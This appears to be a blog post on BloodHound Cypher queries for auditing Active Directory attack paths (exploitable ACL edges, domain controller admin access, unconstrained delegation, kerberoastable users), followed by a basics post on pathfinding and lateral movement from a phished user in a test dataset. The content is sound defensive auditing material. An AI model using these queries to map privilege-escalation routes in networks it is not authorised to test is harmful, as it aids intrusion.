ORDER BY u.pwdlastset ASC

Find Exploitable Edges To A Wildcard Group Name

This allows us to find users who have an exploitable relationship with an object which is then a member of a group of interest. An exploitable relationship in this case would mean that further actions need to be taken before the user actually has access to the group. For example, it might have an AddMember permission over a group – so whilst they dont currently have access to the group, they could add themselves into it.

In the example below, we are looking for users who could grant themselves access to an AD object, which is then in turn a member of a group with ‘Exchange’ in its name (WHERE g.name =~ "(?i).*exchange.*").

This is handy to find users with dangerous misconfigurations which could lead to sensitive applications becoming compromised. This deliberately doesn’t include the MemberOf edge in the first section of the MATCH statement – as we are specifically looking for the more hidden misconfigurations.

MATCH (u:User)-[:AddMember|AddSelf|WriteSPN|AddKeyCredentialLink|AllExtendedRights|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns*1..4]->(o)-[:MemberOf]->(g:Group)
WHERE g.name =~ "(?i).*exchange.*"
RETURN DISTINCT(u.name), g.name

Find Users With Admin Access To Domain Controllers

For this query we specifically look for users with nested access to an object, which then has admin access onto computers within a group. This could be altered so that the group name is an Exchange Servers group, or DB servers etc.

MATCH (u:User)-[:AddMember|AddSelf|WriteSPN|AddKeyCredentialLink|AllExtendedRights|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns|MemberOf*1..4]->(o)-[:AdminTo]->(c:Computer)-[:MemberOf]->(g:Group)
WHERE g.name STARTS WITH "DOMAIN CONTROLLERS"
RETURN DISTINCT(u.name) AS UserName, o.name AS GrantingObjectName, c.name AS DCName

With this query, we can see a number of users go via the Domain Admins group to get access to the FLLABDC Domain Controller. All of the users in this query are actually legitimate domain admin users, so we could extend the query to ignore any users who go via the Domain Admins group (As Domain Admin users will have admin access to Domain Controllers)

MATCH (u:User)-[:AddMember|AddSelf|WriteSPN|AddKeyCredentialLink|AllExtendedRights|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns|MemberOf*1..4]->(o)-[:AdminTo]->(c:Computer)-[:MemberOf]->(g:Group)
WHERE g.name STARTS WITH "DOMAIN CONTROLLERS" AND NOT(o.name STARTS WITH "DOMAIN ADMIN")
RETURN DISTINCT(u.name) AS UserName, o.name AS GrantingObjectName, c.name AS DCName

Find All Active ‘Decommissioned’ Objects

Focusing on the auditing side of BloodHound, we can search for all objects which mention they are disabled or decommissioned, but are in fact still active. This is very much matter of Active Directory hygiene, and is less about finding a 1337 way of compromising a domain – but you never know!

MATCH (o)
WHERE o.enabled = true AND (o.description =~ "(?i).*disabled.*" OR o.description =~ "(?i).*decom.*")
RETURN o.name AS Name, o.description AS Description

This does rely on the description field containing either ‘disabled’ or ‘decom’, so it isn’t 100% accurate. You could also do a query to look at last login times and perform some sort of logic based on that.

Find The Most Dangerous ‘Decommissioned’ Objects

As a rough way of quantifying the most ‘dangerous’ decommissioned objects, we can perform a basic way of finding outbound access from any users we identified in the query above.

MATCH (o)-[:MemberOf*1..3]->(g:Group)-[r]->(n)
WHERE o.enabled = true AND (o.description =~ "(?i).*disabled.*" OR o.description =~ "(?i).*decom.*") AND r.isacl = true
RETURN o.name AS Name, o.description AS Description, COUNT(DISTINCT(n)) AS OutboundAccess
ORDER BY OutboundAccess DESC

This will look for any groups which our ‘decommissioned’ objects are within, then find the number of objects which those groups can access. We could alter this to look for groups which grant local admin rights, or look for exploitable AD permissions (i.e. GenericAll, WriteDacl etc) rather than nested group membership (i.e. -[:MemberOf*1..3]-> )

Finding Legacy Privileged Accounts

We can leverage the highvalue attribute within BloodHound to find users of interest, and then use the pwdlastset attribute to find accounts with older passwords, which might not be subject to more modern password requirements and could well be very weak.

MATCH (u:User)-[:MemberOf*1..3]->(o)
WHERE o.highvalue = true AND u.enabled = true
RETURN DISTINCT(u.name) AS Name, u.pwdlastset AS PasswordLastSet
ORDER BY PasswordLastSet ASC

We could also modify this to find users who mistakenly have access to high value targets. If we assume that an internal naming scheme of T0_ is used for all Tier 0 accounts, we could ignore them in our query to find all users who arent Tier 0. For example:

MATCH (u:User)-[:MemberOf*1..3]->(o)
WHERE o.highvalue = true AND u.enabled = true AND NOT(u.name STARTS WITH "T0_")
RETURN DISTINCT(u.name) AS Name

Evaluate Local Admin For A List Of Users

If you have a list of users of interest, you might want to evaluate how much onward administrative access they have. For example, users with weak passwords or legacy accounts which are due to be decommissioned. The query below is a basic way of performing this query.

MATCH (u:User)-[:MemberOf*1..3]->(g:Group)-[:AdminTo]->(c:Computer)
WHERE u.name IN ["RSTITCH01791@HTTP418INFOSEC.COM", "CSTURKEY00066@HTTP418INFOSEC.COM", "RFLITCROFT00516@HTTP418INFOSEC.COM"]
RETURN u.name AS Username, COUNT(DISTINCT(c)) AS AdminCount
ORDER BY AdminCount DESC

Which returns the number of systems which each user has local admin access to, showing that RSTITCH01791 is extremely powerful.

Evaluate Devices Which Allow Unconstrained Delegation

Unconstrained Delegation is a very dangerous attack primitive which can allow for a range of attacks. Therefore, it is essential that any devices which allow this attack are known about (and ideally removed!)

We can find devices which support it via the unconstraineddelegation attribute. For example, the query below will find users who are in nested groups, which have local admin access to a device which supports unconstrained delegation.

MATCH (u:User)-[:MemberOf*1..3]->(g:Group)-[:AdminTo]->(c:Computer)
WHERE c.unconstraineddelegation = true AND c.enabled = true AND u.enabled = true
RETURN c.name AS ComputerName, COUNT(DISTINCT(u)) AS AdminCount
ORDER BY AdminCount DESC

This could be extended to include any exploitable AD permissions (i.e. GenericAll, WriteDacl etc) rather than just group membership, but for now we can get a sense of how many users in our organisation have access:

This is the same data as from the Unrolled Admins view on an individual asset – except we can now find this value for every vulnerable device in the BloodHound dataset!

Finding Shortest Path To Unconstrained Delegation

Given our data above, we could simply begin remediation from the devices with the most admins to the least. Whilst this would be a valid way of evaluating the data, we should also consider other factors – such as how easy is it to gain admin access? For example, if one of the admins is kerberoastable then we are in big trouble!

We can check this with the following query:

MATCH p=shortestpath((u:User)-[*1..]->(c:Computer))
WHERE c.unconstraineddelegation = true AND c.enabled = true AND u.enabled = true AND u.hasspn = true
RETURN p

Which we will run in BloodHound’s GUI:

Now we can see that there are a range of kerberoastable users who eventually have access to systems which support unconstrained delegation – including routes via the Domain Admins group!

Summary

In summary, BloodHound is an extremely flexible way of evaluating an AD environment. The ‘standard’ version is excellent at allowing this point-in-time evaluation, with BloodHound Enterprise being far better suited to continuous evaluation.

There are an enormous amount of BloodHound queries both within the tool, and on GitHub which will show even more ways in which Cypher can be used and are a great way of understanding the Cypher language!

Further Reading

BloodHound Basics

Over the past months and years at $dayjob, I have done a lot of work with BloodHound to remove attack paths and improve the attack surface of our Active Directory environment. During this time I have found a number of ways to leverage BloodHound to perform what is effectively an audit of Active Directory, by identifying key attack paths and quantifying issues within large enterprise environments.

Initially, I found the more advanced query language (Cypher) to be quite complex, but it is very powerful and just happens to use a slightly different structure to other languages such as SQL.

To start, Ill generate a BloodHound dataset using the DBCreator script provided by SpecterOps. Following that, I will cover what Cypher is and explain some of its features in a later post. Finally, I will share some queries which can help to audit your environment.

For this guide, I wont cover what BloodHound is or the very basics of the program. There are other guides which already exist which do a great job of this, and the documentation is very thorough.

Environment Prep

Lets use the DBCreator script, but we will use byt3bl33d3r’s PR to fix some of the issues in the original version. This section does get a bit techy, so skip over the install section if you just want to learn about BloodHound!

I had a lot of issues getting this to work, so I simplified the usage of pickle in the MainMenu class. By changing the assignment to first_names and last_names to something simpler:

first_pickle = open("data/first.pkl",'rb')
last_pickle = open("data/last.pkl",'rb')

self.first_names = pickle.load(first_pickle)
self.last_names = pickle.load(last_pickle)

cmd.Cmd.__init__(self)

I also found the environment variables didn’t work, so I opted to clear them, and finally the group nesting function uses a hardcoded value (dept = group[0:-19]) for the length of the default ‘TESTLAB.LOCAL‘ domain name. I changed this to the value of self.domain + 6 to return the correct value & work as expected.

dept = group[0:-(len(self.domain)+6)]

The final group nesting logic is:

I will make a PR for this if I get around to it one day!

And lets load up BloodHound to verify it worked correctly:

And we get a pretty neat graph out of it when we run one of the pre-built queries – but more on this later on!

Basic Analysis

When we have our data loaded into BloodHound, we are presented with a view which shows all of the Domain Admins in the data we gathered. In my example, there are a lot of Domain Admins, so the graph is quite large!

We can click on any of these users to load details on that specific user. For example we can see that BDELUNG00508@HTTP418INFOSEC.COM is the account for Mr Brendan Delung.

We can use this to show some basic information on the user, such as their name (Brendan Delung), when they last logged in (Sat 19th November 2022)

If we scroll down a bit to the Group Membership section, we can see the First Degree Group Membership entry. This complex name is another way of saying the groups which this user is a member of. From when we first loaded up BloodHound, we know that Brendan is a member of the Domain Admins group (i.e. DOMAIN ADMINS@HTTP418INFOSEC.COM). From the screenshot below, we can see that Brendan is a member of 8 groups (including the Domain Admins).

If we click on this row, BloodHound will run a query in the background to show the groups which Brendan is a member of in the graph view. The view now shows us the groups:

Another option to represent the groups which a user is a member of is the Unrolled Group Membership, which is below the First Degree Group Membership feature we just used.

This takes the output from above, and then checks if any of these groups are within other groups and so on. Again, by clicking on the row we can see the graph which it creates, showing a further 2 groups which BDELUNG00508 is part of:

As we can see, the first ‘column’ of yellow nodes show the groups we could see before (Starting with OPERATIONS00039), but now we can see that the OPERATIONS0122 group is a member of another group (OPERATIONS00826), which itself is within another group (OPERATIONS01589)!

This shows the power of BloodHound, as running queries like this gets very complex with large environments. Whilst the output here is a little boring to us as an attacker, it becomes far more interesting if one of these unrolled groups has access which was not expected, such as local admin to a server.

Pathfinding

BloodHound allows us to find paths between AD objects easily, using the ‘Pathfinding’ option in the UI.

If we click on this icon, we can now enter a ‘Start Node’ and ‘Target Node’ – in other words, where are we and where do we want to get to.

In the context of a red team, the Start Node could be a user who has been phished, and the End Node could be the Domain Admins group (Or whatever we want to ultimately compromise), which would show attack paths to obtain domain admin rights.

We can also fill this detail in by right clicking on a node and then selecting either ‘Set as Starting Node’ or ‘Set as Ending Node’.

To show this, we will use DBERENDT00668 as our starting point.

As we type in a group, BloodHound will autofill suggestions:

After some thinking, BloodHound will show us an ‘attack path’ – the steps we would need to take as an attacker to become a Domain Admin user.

To explain the above attack path, DBERENDT00668 user is a member of the IT00928 group. Members of this group can then RDP onto the COMP01364 server. This server then has a session for MSCHIVELY01554, who is a Domain Admin user.

If we wanted to learn more about any of these permissions, we can right click on the ‘edge’ (The line between the coloured nodes) and then click on ‘Help’.

This will then give a short overview on how it could be exploited:

High Value Groups

BloodHound has the concept of ‘High Value Groups’, which represent the traditionally highly powerful groups within Active Directory such as Domain Admins, Enterprise Admins and so on. In short, if any of these AD objects are compromised by an attacker, it is very bad news! In the graph view, these objects have a small diamond on the top right of their icon.

Owned Users

Another core concept is marking users as ‘owned’, which can be done by right clicking on a user and clicking on ‘Mark User as Owned’. This does two things:

  1. Marks the user object with a little skull symbol to show they are owned
  2. Allows us to filter on ‘owned’ users in our queries

BloodHound has a number of queries to search from users who are owned – for example the Shortest Paths to Domain Admins from Owned Principals query, which will search from every owned user to find the shortest route to becoming Domain Admin.

I have found this feature to be very useful when combined with other datasets. For example, if a password spraying or cracking exercise is performed, then any weak accounts could be marked as ‘owned’. We can then use Bloodhound to highlight the issues posed by these accounts in a really visual way – showing just how ‘close’ a weak account might be to becoming a domain admin!

Moving Laterally

Another key use case for BloodHound is for attackers, when they have first landed in an environment and are looking to move laterally. If we assume that we have infected the DBERENDT00668@HTTP418INFOSEC.COM user, it would be time consuming to establish our access purely through LDAP or PowerShell queries.

If we load up the user, we can see that they have a lot of interesting outbound access. In the screenshot below we will focus on the Execution Rights section of BloodHound. This shows the permissions that our user has. For example First Degree RDP Privileges will show the servers where our user has been explicitly granted access via RDP.

The Group Delegated RDP Privileges will show servers where our user is in a group (or nested groups) which has been granted access to a resource via RDP. More information on how this could be abused can be found on the BloodHound wiki.

If we click on the Group Delegated RDP Privileges entry above, BloodHound will again render this into a graph for us – showing that 6 different groups are granting access to servers via RDP for this user.

Custom Queries

Finally, at the bottom of the graph view is the ‘Raw Query’ tab, which allows us to run our own custom queries in the ‘Neo4j’ language – which we will cover in my post on the more advanced usage of BloodHound. This allows us to run far more complex queries and quantify a lot of the data in AD rapidly.